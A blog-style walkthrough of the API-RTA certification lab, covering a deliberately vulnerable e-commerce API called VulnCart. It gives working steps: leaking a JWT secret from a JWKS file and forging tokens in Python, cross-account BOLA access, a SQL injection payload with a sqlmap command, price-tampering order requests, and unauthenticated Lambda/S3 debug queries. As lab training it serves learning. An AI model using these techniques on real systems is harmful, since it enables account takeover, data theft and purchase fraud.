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August 12, 2026

How I Obtained API-RTA certificate from CyberWarFare Labs

Credential: API-RTA (API Red Team Analyst) Provider: CyberWarFare Labs (CWL) Level:Intermediate Scope: Practical, black-box, 13 flags…

By Qasimov Davud

3 min read

Credential: API-RTA (API Red Team Analyst) Provider: CyberWarFare Labs (CWL) Level:Intermediate Scope: Practical, black-box, 13 flags against a single live target Author: Davud Qasimov

Hello everyone. Here, I will describe the process of obtaining the API-RTA certification from CyberWarFare Labs.

To begin, you need to review all the provided materials and complete all the theoretical modules. Next, proceed to the lab; upon its completion, you will be awarded the API-RTA certificate.

Lab Write-Up:

API-RTA Practical Walkthrough: Chaining API Logic Flaws and Cloud Misconfigurations

CyberWarFare Labs' API-RTA (API Red Team Analyst) is an advanced practical certification tailored around modern application programming interface vulnerabilities. Rather than relying on standard perimeter breaches, the examination tasks candidates with chaining minor, nuanced logic flaws across thirteen unique targets inside a simulated e-commerce application known as VulnCart.

The security evaluation moves systematically through four distinct operational phases:

  • Phase I (Reconnaissance): Mapping out endpoint surfaces and observing underlying system responses.
  • Phase II (Access Control): Establishing valid user contexts and elevating privilege boundaries.
  • Phase III (Vulnerability Exploitation): Leveraging cryptographic flaws and input handling oversights.
  • Phase IV (Logic Abuse): Manipulating checkout parameters and business rules to acquire restricted resources.

1. Initial Reconnaissance & Environment Mapping

VulnCart models a typical cloud-hosted e-commerce backend where all API routes reside under /api/v1/.

Important Tooling Note: Unlike REST setups that rely on standard Authorization: Bearer headers, session validation relies on a browser cookie named vulncart_token. Automated scanners must be configured to pass this cookie explicitly; otherwise, requests default to an anonymous state.

Theoretical exam flags touch upon foundational vulnerability classifications tested throughout the lab:

  • Unauthorized object access via identifier alteration → BOLA
  • Cross-user data exposure through object reference changes → IDOR
  • Server-side request forcing towards arbitrary destinations → SSRF
  • Privilege escalation via function-level access control bypasses → BFLA

2. Frontend Source Code Extraction

Before interacting with active endpoints, dumping the local static files served by the web frontend provided immediate insight into the application architecture: curl -s http://TARGET:PORT/static/index.html curl -s http://TARGET:PORT/static/app.js

The unminified app.js file revealed the complete client-side logic blueprint, highlighting two critical components:

  • A helper routine (toggleDemoUsers()) executes an unauthenticated GET request to /api/v1/demo-users, pulling a complete list of testing credentials.
  • The checkout function (checkout()) aggregates fields like product_id, price, and discount_percentage straight from client input forms, packaging them into a JSON payload for POST /api/v1/orders without server-side validation of client pricing.

Querying the demo endpoint retrieved hundreds of real user email addresses mapped to numeric IDs, supplying the exact identifier context required for subsequent token forging.

3. Breaking JWT Cryptography & Token Forging

Authentication tokens utilize HS256 (HMAC-SHA256) signatures stored within the vulncart_token cookie. Because HS256 is symmetric, leaking the verification string completely undermines the cryptographic trust model.

Auditing standard discovery files exposed a misconfigured JWKS endpoint publishing a symmetric octet key (oct) containing the raw secret:

Bash

curl -s http://TARGET:PORT/.well-known/jwks.json

Decoding the base64url-encoded secret yielded the raw HMAC key:

Bash

echo "BASE64URL_VALUE" | tr '_-' '/+' | base64 -d

Custom token generation using Python's pyjwt library allowed forging valid administrative contexts:

Python

import time
import jwt
token = jwt.encode(
    {
        "iss": "https://vulncart.internal",
        "sub": "userXXXX",
        "user_id": XXXX,
        "role": "user",
        "scope": ["products:read", "wallet:read", "orders:read"],
        "iat": int(time.time()),
        "exp": 9999999999,
    },
    "RECOVERED_SECRET",
    algorithm="HS256",
)
print(token)

Crucial Gotchas:

The iat Claim: Missing or outdated issuance timestamps cause the backend to treat the token as anonymous.

Valid Row References: Forging a token with an ID absent from the database triggers an anonymous fallback.

4. Exploiting BOLA & Database Injections

With a valid timestamped token matching an existing user ID, secured data routes opened up:

Bash

TOKEN="<forged_jwt>"
curl -s http://TARGET:PORT/api/v1/users/me -H "Cookie: vulncart_token=$TOKEN"
curl -s http://TARGET:PORT/api/v1/orders -H "Cookie: vulncart_token=$TOKEN"

Modifying the user_id inside the token payload enabled smooth horizontal traversal across distinct user accounts (BOLA).

Further endpoint mapping revealed a string-concatenation flaw in /api/v1/products/search?name=. Probing via UNION queries confirmed an underlying SQLite database:

Bash

curl -s -G "http://TARGET:PORT/api/v1/products/search" \
  --data-urlencode "name=x' UNION SELECT name,sql,3 FROM sqlite_master WHERE type='table'--" \
  -H "Cookie: vulncart_token=$TOKEN"

Configuring sqlmap with explicit prefix and suffix parameters streamlined complete schema extraction:

Bash

sqlmap -u "http://TARGET:PORT/api/v1/products/search?name=test" \
  --cookie="vulncart_token=$TOKEN" \
  --batch --prefix="'" --suffix="--" \
  --technique=U --dbms=sqlite --tables

5. Price Tampering & Gift Card Reversal

Dumping the products table exposed a hidden premium item with a flag set to 0. Because the checkout logic trusted client-submitted price fields blindly, purchasing the item at an arbitrary value was trivial:

Bash

curl -s -X POST "http://TARGET:PORT/api/v1/orders" \
  -H "Cookie: vulncart_token=$TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": HIDDEN_PRODUCT_ID, "price": 1}'

An iterative testing loop helped determine the minimum acceptable price threshold before server-side safety logic clamped the submitted value:

Bash

for p in -99999 -1 0 0.0001 0.001 0.01 1 10 100; do
  echo "=== price=$p ==="
  curl -s -X POST "http://TARGET:PORT/api/v1/orders" \
    -H "Cookie: vulncart_token=$TOKEN" -H "Content-Type: application/json" \
    -d "{\"product_id\": HIDDEN_PRODUCT_ID, \"price\": $p}"
done

Additionally, analyzing gift-card validation scripts revealed a deterministic character-substitution table operating on a hardcoded seed string (vulncart), enabling local code generation without server interaction.

6. Cloud Infrastructure & S3 Object Retrieval

Order tracking workflows referenced an external AWS Lambda Function URL:

Plaintext

https://<function-id>.lambda-url.<region>.on.aws/fetch_order_status

Direct calls to this function proxied stored objects straight out of an attached S3 bucket with zero authorization checks:

Bash

LAMBDA="https://<function-id>.lambda-url.<region>.on.aws"
curl -s "$LAMBDA/fetch_order_status?path=orders/order_status.json"

Querying the infrastructure's debug route exposed runtime properties:

Bash

curl -s "$LAMBDA/debug"

This request returned the active AWS Account ID, complete Lambda ARN, and target S3 bucket name, successfully tying application-layer flaws directly into cloud asset enumeration.

None

THANK YOU FOR YOUR ATTENTION!

If you found this helpful, reach out to me on LinkedIn.